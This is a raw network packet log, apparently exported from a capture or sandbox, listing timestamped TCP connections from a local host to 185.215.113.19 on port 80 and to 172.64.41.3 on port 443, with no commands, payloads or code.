Sep 1, 2024 02:49:10.405507088 CEST	49857	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:10.405998945 CEST	49858	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:10.410520077 CEST	80	49857	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:10.410569906 CEST	49857	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:10.410972118 CEST	80	49858	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:10.411222935 CEST	49858	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:10.411353111 CEST	49858	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:10.416100979 CEST	80	49858	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:11.182691097 CEST	80	49858	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:11.182746887 CEST	49858	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:11.295557022 CEST	49858	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:11.295913935 CEST	49859	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:11.301255941 CEST	80	49858	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:11.301511049 CEST	80	49859	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:11.301558018 CEST	49858	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:11.301587105 CEST	49859	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:11.301707029 CEST	49859	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:11.307199001 CEST	80	49859	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:12.042551994 CEST	80	49859	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:12.042886972 CEST	49859	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.045236111 CEST	49859	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.045545101 CEST	49860	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.052201986 CEST	80	49859	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:12.052486897 CEST	49859	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.053034067 CEST	80	49860	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:12.054069996 CEST	49860	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.054302931 CEST	49860	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.061903954 CEST	80	49860	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:12.797534943 CEST	80	49860	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:12.797590971 CEST	49860	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.907269955 CEST	49860	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.907598019 CEST	49861	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.913727045 CEST	80	49861	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:12.913788080 CEST	49861	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.913939953 CEST	49861	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.914067030 CEST	80	49860	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:12.914112091 CEST	49860	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:12.918896914 CEST	80	49861	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:13.649950981 CEST	80	49861	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:13.650003910 CEST	49861	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:13.653855085 CEST	49861	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:13.654158115 CEST	49862	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:13.658898115 CEST	80	49861	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:13.658907890 CEST	80	49862	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:13.658940077 CEST	49861	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:13.658983946 CEST	49862	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:13.659264088 CEST	49862	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:13.664527893 CEST	80	49862	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:14.317984104 CEST	49863	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.318048000 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.318113089 CEST	49863	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.318187952 CEST	49864	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.318195105 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.318239927 CEST	49864	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.318428040 CEST	49864	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.318445921 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.318694115 CEST	49863	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.318705082 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.420728922 CEST	80	49862	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:14.420778990 CEST	49862	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:14.529942989 CEST	49862	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:14.530250072 CEST	49865	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:14.535020113 CEST	80	49862	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:14.535028934 CEST	80	49865	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:14.535070896 CEST	49862	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:14.535105944 CEST	49865	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:14.535377979 CEST	49865	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:14.540304899 CEST	80	49865	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:14.775266886 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.775674105 CEST	49864	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.775696039 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.776035070 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.776922941 CEST	49864	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.776990891 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.777753115 CEST	49864	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.817478895 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.817693949 CEST	49863	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.817704916 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.818150997 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.820828915 CEST	49863	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.820910931 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.824500084 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.922360897 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.922405958 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.922808886 CEST	49864	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.923010111 CEST	49864	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.923022985 CEST	443	49864	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:15.026917934 CEST	49863	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:15.279601097 CEST	80	49865	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:15.279654980 CEST	49865	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:15.283138990 CEST	49865	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:15.283442974 CEST	49867	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:15.288254023 CEST	80	49865	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:15.288302898 CEST	80	49867	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:15.288309097 CEST	49865	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:15.288362026 CEST	49867	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:15.288700104 CEST	49867	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:15.293432951 CEST	80	49867	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:16.065537930 CEST	80	49867	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:16.065603971 CEST	49867	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.187815905 CEST	49867	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.188146114 CEST	49868	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.193085909 CEST	80	49867	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:16.193135023 CEST	49867	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.193418980 CEST	80	49868	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:16.193492889 CEST	49868	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.193830967 CEST	49868	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.198693991 CEST	80	49868	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:16.934369087 CEST	80	49868	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:16.934451103 CEST	49868	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.938584089 CEST	49868	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.938906908 CEST	49869	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.944397926 CEST	80	49869	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:16.944519043 CEST	49869	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.944721937 CEST	80	49868	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:16.944839001 CEST	49869	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.944983959 CEST	49868	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:16.949682951 CEST	80	49869	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:17.702967882 CEST	80	49869	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:17.703026056 CEST	49869	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:17.811196089 CEST	49869	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:17.811475039 CEST	49870	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:17.816534996 CEST	80	49869	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:17.816601038 CEST	49869	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:17.817069054 CEST	80	49870	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:17.820601940 CEST	49870	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:17.820816994 CEST	49870	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:17.825719118 CEST	80	49870	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:18.570468903 CEST	80	49870	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:18.571691990 CEST	49870	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:18.574126959 CEST	49870	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:18.574516058 CEST	49871	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:18.583364010 CEST	80	49870	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:18.583590031 CEST	49870	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:18.583950996 CEST	80	49871	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:18.586611986 CEST	49871	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:18.586730957 CEST	49871	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:18.594784975 CEST	80	49871	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:19.349297047 CEST	80	49871	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:19.349353075 CEST	49871	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:19.501672029 CEST	49871	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:19.502289057 CEST	49872	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:19.507656097 CEST	80	49872	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:19.507922888 CEST	49872	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:19.508367062 CEST	80	49871	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:19.508498907 CEST	49871	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:19.508650064 CEST	49872	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:19.513458014 CEST	80	49872	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:20.253407955 CEST	80	49872	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:20.253468037 CEST	49872	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:20.256714106 CEST	49872	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:20.256999016 CEST	49873	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:20.262271881 CEST	80	49873	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:20.262399912 CEST	49873	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:20.262689114 CEST	80	49872	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:20.262738943 CEST	49872	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:20.262914896 CEST	49873	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:20.267895937 CEST	80	49873	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:21.014025927 CEST	80	49873	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:21.014095068 CEST	49873	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.124388933 CEST	49873	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.124845982 CEST	49874	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.133167028 CEST	80	49874	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:21.133234978 CEST	49874	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.133462906 CEST	49874	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.133548021 CEST	80	49873	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:21.133599997 CEST	49873	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.138286114 CEST	80	49874	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:21.338598013 CEST	49779	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:21.338613033 CEST	443	49779	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:21.339401007 CEST	49778	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:21.339428902 CEST	443	49778	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:21.895838022 CEST	80	49874	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:21.895925999 CEST	49874	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.947391033 CEST	49874	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.948467016 CEST	49875	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.965533972 CEST	80	49875	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:21.965619087 CEST	49875	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.965981960 CEST	49875	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.966259003 CEST	80	49874	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:21.966321945 CEST	49874	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:21.970994949 CEST	80	49875	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:22.714063883 CEST	80	49875	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:22.715483904 CEST	49875	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.826725960 CEST	49875	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.827038050 CEST	49876	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.838195086 CEST	80	49876	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:22.838330030 CEST	80	49875	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:22.838368893 CEST	49876	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.838397026 CEST	49875	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.838754892 CEST	49876	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.839545965 CEST	49876	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.841875076 CEST	49877	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.853483915 CEST	80	49876	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:22.853533983 CEST	49876	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.854711056 CEST	80	49877	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:22.854830027 CEST	49877	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.858336926 CEST	49877	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:22.863372087 CEST	80	49877	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:23.619328976 CEST	80	49877	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:23.619410038 CEST	49877	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:23.734954119 CEST	49877	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:23.737524986 CEST	49878	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:23.740225077 CEST	80	49877	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:23.740283966 CEST	49877	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:23.742360115 CEST	80	49878	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:23.742424965 CEST	49878	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:23.743211985 CEST	49878	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:23.748373985 CEST	80	49878	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:24.513247013 CEST	80	49878	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:24.513304949 CEST	49878	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:24.516371012 CEST	49878	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:24.526436090 CEST	80	49878	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:24.772340059 CEST	80	49878	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:24.772398949 CEST	49878	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:24.888717890 CEST	49878	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:24.889023066 CEST	49879	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:24.893834114 CEST	80	49878	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:24.894010067 CEST	49878	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:24.894180059 CEST	80	49879	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:24.894284964 CEST	49879	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:24.894471884 CEST	49879	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:24.899398088 CEST	80	49879	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:25.640623093 CEST	80	49879	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:25.641144991 CEST	49879	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:25.651174068 CEST	49879	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:25.651544094 CEST	49880	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:25.661314964 CEST	80	49880	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:25.661379099 CEST	49880	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:25.662317038 CEST	80	49879	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:25.662369967 CEST	49879	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:25.663074017 CEST	49880	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:25.670727015 CEST	80	49880	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:26.437809944 CEST	80	49880	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:26.438962936 CEST	49880	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:26.545901060 CEST	49880	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:26.546181917 CEST	49881	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:26.551045895 CEST	80	49880	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:26.551065922 CEST	80	49881	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:26.551091909 CEST	49880	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:26.551146030 CEST	49881	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:26.551599026 CEST	49881	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:26.556365967 CEST	80	49881	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:27.300328016 CEST	80	49881	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:27.302633047 CEST	49881	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:27.305082083 CEST	49881	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:27.305391073 CEST	49882	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:27.313450098 CEST	80	49881	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:27.313867092 CEST	80	49882	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:27.313939095 CEST	49881	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:27.313992977 CEST	49882	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:27.314161062 CEST	49882	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:27.321876049 CEST	80	49882	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:28.080728054 CEST	80	49882	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:28.080797911 CEST	49882	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.189112902 CEST	49882	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.189393997 CEST	49883	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.198394060 CEST	80	49883	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:28.198453903 CEST	49883	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.199754953 CEST	49883	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.201745987 CEST	80	49882	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:28.201848030 CEST	49882	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.205437899 CEST	49884	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.206155062 CEST	80	49883	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:28.207654953 CEST	80	49883	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:28.207704067 CEST	49883	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.210331917 CEST	80	49884	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:28.210400105 CEST	49884	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.210625887 CEST	49884	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:28.215536118 CEST	80	49884	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:28.978738070 CEST	80	49884	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:28.980201006 CEST	49884	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.097573996 CEST	49884	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.097939968 CEST	49885	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.107115984 CEST	80	49884	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:29.107166052 CEST	49884	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.107667923 CEST	80	49885	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:29.107733965 CEST	49885	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.108036995 CEST	49885	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.113003969 CEST	80	49885	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:29.706216097 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:29.706360102 CEST	443	49863	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:29.706496954 CEST	49863	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:29.872901917 CEST	80	49885	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:29.873039961 CEST	49885	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.875519991 CEST	49885	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.875833035 CEST	49886	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.885711908 CEST	80	49886	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:29.885838985 CEST	49886	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.886230946 CEST	49886	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.886384010 CEST	80	49885	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:29.886889935 CEST	49885	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:29.891091108 CEST	80	49886	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:30.201185942 CEST	49836	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:30.201189041 CEST	49835	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:30.201204062 CEST	443	49835	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:30.201211929 CEST	443	49836	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:30.634280920 CEST	80	49886	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:30.634387016 CEST	49886	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:30.748032093 CEST	49886	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:30.748622894 CEST	49888	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:30.755548000 CEST	80	49888	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:30.755682945 CEST	80	49886	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:30.755692959 CEST	49888	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:30.755887032 CEST	49886	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:30.756179094 CEST	49888	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:30.761069059 CEST	80	49888	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:31.518814087 CEST	80	49888	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:31.518877029 CEST	49888	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:31.521254063 CEST	49888	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:31.521471024 CEST	49889	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:31.527122974 CEST	80	49888	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:31.527174950 CEST	49888	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:31.527406931 CEST	80	49889	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:31.527463913 CEST	49889	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:31.527688026 CEST	49889	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:31.537205935 CEST	80	49889	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:32.306855917 CEST	80	49889	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:32.306924105 CEST	49889	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:32.421072960 CEST	49889	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:32.421389103 CEST	49890	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:32.426665068 CEST	80	49890	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:32.427028894 CEST	49890	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:32.427041054 CEST	80	49889	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:32.427227020 CEST	49889	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:32.427297115 CEST	49890	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:32.432558060 CEST	80	49890	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:33.172792912 CEST	80	49890	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:33.172849894 CEST	49890	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:33.206978083 CEST	49890	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:33.207402945 CEST	49891	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:49:33.212061882 CEST	80	49890	185.215.113.19	192.168.2.4
Sep 1, 2024 02:49:33.212178946 CEST	49890	80	192.168.2.4	185.215.113.19
